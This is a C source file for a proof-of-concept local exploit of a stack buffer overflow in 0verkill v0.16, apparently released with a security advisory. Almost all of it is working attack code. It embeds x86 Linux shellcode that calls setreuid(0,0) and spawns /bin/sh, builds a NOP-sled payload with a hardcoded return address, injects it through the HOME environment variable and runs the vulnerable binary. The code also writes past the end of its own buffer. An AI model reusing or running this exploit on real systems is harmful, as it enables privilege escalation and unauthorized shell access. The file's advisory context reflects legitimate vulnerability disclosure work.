/* gEEk-0verkill.c
 *
 * PoC exploit made for advisory based uppon an local stack based overflow.
 * Vulnerable versions, maybe also prior versions:
 *
 * 0verkill v0.16
 *
 * Tested on:  Debian 3.0
 *
 * Advisory source: geekz.nl (security team)
 * http://www.geekz.nl/releases/advisories/gEEk-adv.0x05
 *
 * -----------------------------------------
 * coded by: demz (geekz.nl) (demz@geekz.nl)
 * -----------------------------------------
 *
 */

#include <stdio.h>
#include <stdlib.h>

char shellcode[]=

  "\x31\xc0"                      // xor          eax, eax
        "\x31\xdb"                      // xor          ebx, ebx
        "\x31\xc9"                      // xor          ecx, ecx
        "\xb0\x46"                      // mov          al, 70
        "\xcd\x80"                      // int          0x80

        "\x31\xc0"                      // xor          eax, eax
        "\x50"                          // push         eax
        "\x68\x6e\x2f\x73\x68"          // push  long   0x68732f6e
        "\x68\x2f\x2f\x62\x69"          // push  long   0x69622f2f
        "\x89\xe3"                      // mov          ebx, esp
        "\x50"                          // push         eax
        "\x53"                          // push         ebx
        "\x89\xe1"                      // mov          ecx, esp
        "\x99"                          // cdq
        "\xb0\x0b"                      // mov          al, 11
        "\xcd\x80"                      // int          0x80

        "\x31\xc0"                      // xor          eax, eax
        "\xb0\x01"                      // mov          al, 1
        "\xcd\x80";                     // int          0x80

int main()
{
  unsigned long ret = 0xbffffec4;

  char buffer[268];
  int i=0;

  memset(buffer, 0x90, sizeof(buffer));

  for (0; i < strlen(shellcode) - 1;i++)
  buffer[100 + i] = shellcode[i];

  buffer[268] = (ret & 0x000000ff);
  buffer[269] = (ret & 0x0000ff00) >> 8;
  buffer[270] = (ret & 0x00ff0000) >> 16;
  buffer[271] = (ret & 0xff000000) >> 24;
  buffer[272] = 0x0;

  printf("\n0verkill v0.16 local exploit\n");
        printf("---------------------------------------- demz @ geekz.nl --\n");

  setenv("HOME", buffer, 1);

  execl("0verkill", "0verkill", NULL);
}